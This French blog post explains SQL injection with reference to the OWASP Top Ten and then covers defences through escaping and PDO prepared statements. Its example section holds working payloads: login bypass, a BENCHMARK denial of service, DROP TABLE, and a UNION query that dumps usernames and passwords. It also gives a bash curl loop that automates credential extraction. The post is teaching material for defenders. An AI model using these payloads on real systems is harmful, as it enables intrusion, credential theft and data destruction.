· Blog de veille

OWASP / Injections SQL

owasp_logo_150_150Dans ce premier article de la série consacrée aux failles applicatives, j’aborde les injections SQL au travers de l’OWASP.

Dans la plupart des systèmes d’information des « entrées utilisateurs » sont permises pour consulter ou altérer des données issues d’une base quelconque. Cette entrée utilisateur est un vecteur d’attaque qu’il faut prendre en considération lors de la réalisation de notre application pour s’affranchir de la menace par injections. Une grande majorité des SI utilise des bases de données de type relationnelles avec pour langage interprété le SQL. C’est donc sur ces types d’injections que portera cet article.

Introduction

L’OWASP (Open Web Application Security Project) dispose d’un projet de répertorisation des failles les plus couramment utilisées par des utilisateurs malintentionnés sur Internet. Ce document est accompagné d’une qualification des menaces listées et d’une explication sur l’exploitation.

Ce projet se nomme le “Top Ten » (et sort chaque année si le classement évolue), il est disponible à cette adresse : https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project

Comme chaque année depuis un petit moment, les failles d’injections arrivent en première place.

Qualification de la menace

Nous allons qualifier notre menace en l’illustrant dans le tableau ci-dessous. La première colonne correspond à des informations génériques qui nous serviront de critères, la seconde sera notre indicateur de mesure (critère de pondération) et la dernière, une explication remaniée (issue du TopTen). Pour simplifier, il s’agit donc d’un tableau croisé entre plusieurs critères dont les vecteurs d’attaques (données liées à l’injection SQL) et les risques résultants de ces attaques (défiguration du site, corruption du contenu de la base de données, pertes de données confidentielles, interruption totale/partielle de service, etc..).

Agent de menace

_

Considérer toute personne en mesure de soumettre des données non fiables au système, y compris les utilisateurs externes, internes, et les administrateurs.

Vecteur d’attaque

Exploitation Simple

L’attaquant envoie un simple texte exploitant la syntaxe de l’interpréteur ciblé. Presque toute source de donnée peut être un vecteur d’injection, y compris les sources internes.

Vraisemblance de la vulnérabilité

Commune

Les failles d’injection ont lieu lorsqu’une application envoie des données non contrôlées à un interpréteur. Les failles d’injection sont extrêmement répandues, particulièrement dans les codes existants, très souvent dans les requêtes SQL, LDAP, Xpath, les commandes systèmes, les arguments de programme, etc.

Détection de la vulnérabilité

Moyenne

Les failles d’injections sont simples à découvrir en examinant le code, mais plus difficile via des tests. Les scanners et fuzzers peuvent aider un attaquant à les découvrir.

Impact technique

Sévère

Une injection peut mener à la perte ou corruption de données, perte de traçabilité ou du déni d’accès. Elle peut mener parfois jusqu’à la prise de contrôle total du serveur.

Impact métier

_

Considérer la valeur métier de la donnée affectée et de la plateforme exécutant l’interpréteur. Toutes les données peuvent-être volées, modifiées ou effacées. Votre image de marque peut-elle être entachée ?

Seuls les privilèges de l’utilisateur exécutant la requête peuvent brider les tentatives d’un utilisateur malveillant.

Exemples d’attaques et méthode de test

Le code présenté par la suite est à titre d’exemple, volontairement sensible aux injections, donc non sécurisé.

Null authentication :

Admettons un formulaire (non protégé) de connexion sur un site web lambda. La requête permettant la validation d’une connexion aura la forme suivante :

<?php
$query = "SELECT * FROM utilisateur WHERE login=".$_POST['login']." AND password=".$_POST[‘password’];
$result = mysql_query($query) ;
if (count(mysql_fetch_assoc($result)) > 0)
echo « Vous êtes connecté ! »;
?>

Alors si l’utilisateur saisit des identifiants erronés, la requête renverra la valeur « false ».

Que se passerait-il si un utilisateur saisissait dans le champ login/password :

blabla’ OR ‘1’=‘1

Remarquez que le dernier 1 n’a pas de quote de fermeture, toute la subtilité d’une injection se situe dans un jeu d’ouverture et de fermeture de quotes).

SELECT * FROM utilisateur WHERE login=‘blabla’ OR ‘1’=‘1’ AND password=‘blabla’ OR ‘1’=‘1’

Le résultat d’une telle requête renverra toujours « true ». C’est pourquoi chaque n-uplets de la table utilisateur est retourné. La connexion est donc établie avec un utilisateur NULL.

Si toutefois la condition de connexion était :

<!?php
if (count(mysql_fetch_assoc($result)) == 1)
echo « Vous êtes connecté ! »;
?>

Alors il suffirait de modifier la chaîne saisie dans le champ password par ceci :

blabla’ OR ‘1’=‘1’ LIMIT 1,1 -- ‘

Le premier paramètre de la clause LIMIT étant l’offset (l’index d’un élément dans un ensemble), il est possible de sélectionner n’importe quel utilisateur en base avec cette technique.

Blind injection :

Admettons l’url suivante d’un site lambda :

http://newspaper.com/items.php?id=2

Le script enverrait la requête suivante à la base de données :

<?php
$query = "SELECT title, description, body FROM items WHERE id_item=".$_GET[‘id’]
?>

Même principe que la précédente requête, l’attaquant décide de tester si le site est vulnérable :

En saisissant dans l’url : « 2 and 1=1 », une fois encodé cela donnera la chaîne suivante : « 2+and+1%3D1 »

http://newspaper.com/items.php?id=2+and+1%3D1

Si l’application est vulnérable, alors il est probable qu’elle ne retourne rien. Cela signifie que la requête a renvoyé la valeur « true ». C’est-à-dire que l’injection a probablement fonctionné. Ce genre de test permet de vérifier si une application est vulnérable, il faut distinguer la valeur de retour d’une requête SQL.

Timing attack :

Autre exemple pour une base de données MySQL :

Supposons qu’un pirate ait trouvé une faille d’injection SQL sur votre application, il peut tenter une attaque par déni de services (sur votre base de données).

SELECT BENCHMARK(5000000,ENCODE(‘MSG’, ‘passe-phrase’));

Cette requête permet d’effectuer 5 000 000 de fois l’encodage de la chaîne de caractères « MSG » grâce à la passe-phrase « passe-phrase ».

Que se passerait-il si cette requête était unie avec une autre (reprenons l’exemple précédent) ?

SELECT * FROM utilisateur WHERE login=‘blabla’ OR ‘1’=‘1’ AND password=‘blabla’ OR ‘1’=‘1’ UNION SELECT BENCHMARK(5000000,ENCODE(‘MSG’, ‘by 5 seconds’));

En fonction des capacités du serveur de base de données et de sa charge au cours de l’attaque, le service peut être perturbé voire indisponible (si l’intégralité des ressources sont consommées).

L’idée est bonne, mais MySQL interdit l’union de deux requêtes n’ayant pas le même nombre de colonnes. Il s’agit à présent de faire plusieurs tests, jusqu’à ce que la requête soit exécutée. Il faut ajouter dans la clause SELECT de la deuxième requête, des attributs « null » pour simuler une colonne (l’ordre importe peu dans cet exemple), jusqu’à avoir le même nombre de colonnes que la table avec laquelle nous voulons unir la nôtre.

Supposons donc que la table utilisateur est composée de 3 colonnes (id, login et password), il faut donc ajouter deux fois une fausse dimension « null », la troisième dimension étant définie par la fonction BENCHMARK.

SELECT * FROM utilisateur WHERE login=‘blabla’ OR ‘1’=‘1’ AND password=‘blabla’ OR ‘1’=‘1’ UNION SELECT null, null, BENCHMARK(5000000,ENCODE(‘MSG’, ‘by 5 seconds’)) ;

Cette fois-ci, la requête est valide et exécutée.

Remarque : Un test simple pour vérifier si un site est vulnérable aux injections est de tester avec une single-quote n’importe quel paramètre (GET, POST, issu des cookies, et si on est développeur du site vérifier que les données issues de la base de données sont bien échappées si souhaité).

Dernier exemple (avec remplacement de colonnes “cross table”)

Prenons cette fois-ci le cas d’une consultation d’article disponible depuis l’adresse suivante :

http://site-vulnérable/articles/consulter/?news_id=

Ici, consulter un article quelconque ne nous intéresse pas, et nous souhaitons récupérer les identifiants de un ou encore mieux de tous les utilisateurs.

Dans notre exemple fictif simplifié, la table des news n’aura que 3 colonnes :

  • id
  • title
  • body

La requête de consultation devrait être sous la forme suivante :

SELECT id, title, body 
FROM <nom de la TABLE de news> 
WHERE id=<valeur du paramètre GET>

Et il existerait une table “users” contenant les utilisateurs du site et qui contiendrait les champs suivants :

  • username (unique)
  • password (non chiffré -> donnée en clair)

Pour récupérer les données de la table utilisateur, nous devrons effectuer une jointure sur la table “users” de sorte à ce que la requête finale ressemble à la suivante :

SELECT id, title, body 
FROM <nom de la TABLE de news> 
WHERE id=<valeur du paramètre GET> 
AND 1=0 
UNION SELECT NULL, CONCAT(username,', ',password), NULL 
FROM users 
LIMIT 0,1

Explication :

  • “1=0” :

Annule la condition précédente et enlève du résultat les n-uplets de la table source avant jointure

  • “CONCAT(username,’, ‘,password) :

Permet de concaténer le nom de l’utilisateur et mot de passe séparé par une virgule.

  • null, CONCAT(username,’, ‘,password), null :

Ici, en encadrant notre chaîne concaténée par une colonne vide, nous venons remplacer les colonnes sélectionnées dans la requête source (on peut aussi utiliser le caractère ‘1’, qui aurait donné la même chose : une colonne factice).

Le premier “null” sert à prendre la place de la colonne associée à l’identifiant d’un article et le 2ème (null) vient remplacer le corps de l’article par une valeur vide (pour une meilleure lisibilité une fois affiché dans la page en guise de résultat !).

Donc, si dans la clause SELECT de la requête source nous n’avions que 2 champs, il en faudrait autant pour la clause SELECT de notre jointure.

Remarque : Il faut le même nombre de colonne dans les deux ensembles ! Sous peine de lever une erreur de type : “SELECTs to the left and right of UNION do not have the same number of result columns”

  • “LIMIT 0,1” :

Il s’agit de notre “tête de lecture” dans la BDD, en incrémentant le premier paramètre nous avancerons notre pointeur sur la table users d’une ligne (donc nous pourrons récupérer tous les utilisateurs à force d’acharnement).

Donc en passant en paramètre la chaîne suivante (sans oublier l’espace pour 1er caractère) :

AND 1=0 UNION SELECT NULL,CONCAT(username,', ',password), NULL FROM users LIMIT 0,1

Exemple d’automatisation basique en BASH :

#! /bin/bash
# Effectuer une requête GET sur la ressource vulnérable
# Param 1 : Parametres HTTP GET
# Param 2 : Délimiteur de ligne (pour récupérer uniquement la portion ducode HTML souhaitée)
do_get_exploit_isql() {
    curl -s --data-urlencode “$1” <url> |grep -F -e “$2”
}
i=0
# Récupération des 1000 premier utilisateurs en BDD
while [ $i -le 1000 ]; do
    LINE_DELIMITER=“Identifiant $i: “
    do_get_exploit_isql "news_id= AND 1=0 UNION SELECT null,CONCAT(‘$LINE_DELIMITER’, username,', ',password), null FROM users LIMIT $i,1" “$LINE_DELIMITER“
    let i=1+$i
done

Note : Nous récupérons ici, toutes les lignes du code HTML retourné par le serveur Web contenant nos identifiants (à mettre en forme).

Comment sécuriser les requêtes en PHP ?

Solution 1 : échappement manuel

Pour bien valider les données en entrée (avant de les insérer dans la requête), il faut échapper les caractères spéciaux contenu dedans, il existe de nombreuses fonctions d’échappement selon la base de données :

  • mysql_real_escape_string() : pour un base de données MySQL (ajoute un anti-slash aux caractères suivants : NULL, \x00, \n, \r, \, ‘,  » et \x1a)
  • sqlite_escape_string() : pour un base de données Sqlite
  • pg_escape_string() : pour un base de données PostgreSQL

Dans le cas où la base de données est un fichier XML, les requêtes sont alors faites via XPATH. Pour contrer les injections possibles, il faut échapper les doubles et simples quotes, les crochets et chevrons comme pour les injections SQL.

Remarque : Une sécurité est implémentée dans les fonctions X_query() de PHP, elle interdit l’exécution de plus d’une requête. Donc, cela rend impossible pour l’attaquant d’injecter dans un champ « password » (dans un formulaire de connexion par exemple) :

blabla’ ; DROP TABLE utilisateur ; –’

Voici la requête générée par le code PHP :

SELECT * 
FROM utilisateur 
WHERE login=‘blabla’ 
AND password=‘blabla’ ; DROP TABLE utilisateur; – ‘‘

Seule la première requête est exécutée, la deuxième est laissée pour compte. De plus, lors d’une injection SQL, même si l’on commente une partie de la requête, et qu’il y a un jeu de quotes, la syntaxe doit rester correcte pour que la requête puisse être exécutée (voir la requête plus haut)..

Solution 2 : les requêtes préparées

Échapper unitairement chaque paramètre peut être long et fastidieux. L’autre solution consiste à utiliser un mécanisme de sécurité implémenté dans la couche PDO (PHP Data Object), ou dans n’importe quelle sur-couche dans les frameworks évolués. PDO est une interface pour accéder à une base de données depuis PHP (chaque pilote de base de données est implémenté).

Par exemple, le Framework PHP Symfony est fourni avec deux ORM + DBAL : Propel et Doctrine. Ces deux ORM sont une sur-couche de PDO.

Lorsque Doctrine ou Propel exécutent une requête, un mécanisme de préparation de requête implémenté par PDO est utilisé (principe des requêtes préparées). Concrètement, la requête est découpée en deux parties : une partie fixe et une partie variable.

  • La partie fixe est celle que l’on va envoyer à la base de données pour préparer l’exécution (prepare statement).
  • La partie variable est celle qui va changer en fonction de l’élément qu’on veut charger. Il s’agit des paramètres qui vont être liés (binding). Avant que le paramètre soit lié à la partie fixe de la requête, il est échappé avec le méthode quote(), ce qui protège contre les injections SQL car les caractères spéciaux ne seront plus interprétés.

Remarque : Le mécanisme de préparation de requête est automatiquement appliqué lors d’une utilisation « standard » de ces ORM.

Cet avantage non négligeable n’est pas sans inconvénient au niveau des performances, et selon vos contraintes sur un projet, la première solution sera certainement moins coûteuse en temps.

Pour mieux comprendre, je vais détailler. Ce concept a pour vocation de définir un modèle type de requête, qui sera exécutée plusieurs fois afin de sauter certaines étapes coûteuses en temps, dont a besoin le SGBD avant d’exécuter cette dernière. Ce modèle sera enregistré durant l’exécution du script (à ne pas confondre avec les fonctions ou procédures stockées).

Une requête ordinaire suivra avant exécution les étapes suivantes :

  1. Analyse syntaxique
  2. Pré-compilation
  3. Exécution

Alors que la requête préparée ne sera analysée qu’une fois enregistrée (lors de l’enregistrement), puis la partie fixe de la requête sera associée / liée à la partie variable (les paramètres) et exécutée. Donc définir une requête préparée amène un gain de temps uniquement dans le cas où elle est réutilisée, et coûteuse en ressources dans le cas contraire.

Pour un exemple d’utilisation, se référer à la doc PHP :

http://www.php.net/manual/fr/pdo.prepared-statements.php

Toutefois, au delà de la théorie, il me semble nécessaire de quantifier la perte réelle imposée par l’utilisation d’un tel mécanisme afin d’être en mesure de savoir si cette perte est tolérable ou non. Les tests ont été effectués sur une table de 10 attributs et disposant de 300 000 enregistrement.

La requête exécutée est une simple consultation/lecture de données (type de requête utilisée majoritairement dans un site web lambda) sous la forme suivante :

SELECT * 
FROM matable
WHERE name = 'blablabla' 
AND city LIKE '%blublublu%'

Dans notre test de performance, notre requête de consultation à été exécutée 10 000 fois, et nous faisons ensuite une moyenne du temps passé pour en définir ensuite :

  • Le gain de temps en seconde
  • Le gain en pourcentage (plus parlant lorsqu’il s’agit d’instructions effectuées en seulement quelques milisecondes)

Remarque importante : Lors de l’utilisation d’un ORM, il faut bien dissocier le coût (en temps) lié à la préparation de requête de celui de l’hydratation des données (instanciation d’un objet “mappé” avec les données issues de la BDD) par ce dernier. L’hydratation est un procédé excessivement coûteux et bien souvent outrepassé lorsque des contraintes de performance sont spécifiées.

Temps unitaire (en seconde) Temps pour 10 000 itérations (en seconde) Perte de temps Référentiel : Requête non préparée Gain (en %) Référentiel : Requête non préparée
Requête préaprée 0.001004 4.115 +0.398s ~-9.66%
Requête non préparée 0.000847 3.717 0s 0%

 Remarque : Ce benchmark à été réalisé sur un poste de développement (CPU dual-core, 8Go de RAM, HDD 7200tr/min) sur Debian 64bits avec PHP est en version 5.4 et MySQL en 5.5. Aucun cache n’a été désactivé afin de rester le plus proche des conditions réelles d’utilisation. Le temps unitaire n’est pas forcément à prendre en compte car il dépend énormément de la charge CPU qui varie significativement en fonction des autres instructions à exécuter.

Analyse du résultat

Même si la perte de temps engendrée par l’utilisation d’une requête préparée dans le cas d’une exécution unique est maigre (voir inexistante si on se réfère à l’échelle du temps), il est bien présent. Toutefois, compte tenu de l’atout dont dispose ce mécanisme contre les iSQL, 10% de perte me semble être largement acceptable pour la majorité des projets informatiques.

Ci-joint le code développé pour effectuer le benchmark :

Comment détecter si notre application est vulnérable ?

Un grand nombre d’outils dédiés à l’automatisation des tests d’intrusions sont disponibles. On peut citer les plus réputés comme par exemple : W3af, OWASP ZAP, Skipfish, etc …

Mais certains sont dédiés uniquement à l’exploitation de failles de type injection SQL, à savoir :

Ces solutions me semblent être les plus adaptées pour la recherche d’éventuelle failles iSQL (uniquement) sur votre application. Si vous souhaitez un outil plus complet (capable de détecter d’autres types de vulnérabilités), passez votre chemin.

L’utilisation de ces outils ne fera pas l’objet de cet article, consultez leur documentation pour apprendre à les utiliser.

Bibliographie

  • “PHP 5 avancé“ (5ème édition) écrit par Eric Daspet et Cyril Pierre De Geyer
  • “Sécurité PHP5 et MySQL” (2ème édition) écrit par Damien Seguy et Philippe Gamache

Webographie

  • PHP Manual (P-S) : http://www.php.net/manual/fr/pdo.prepared-statements.php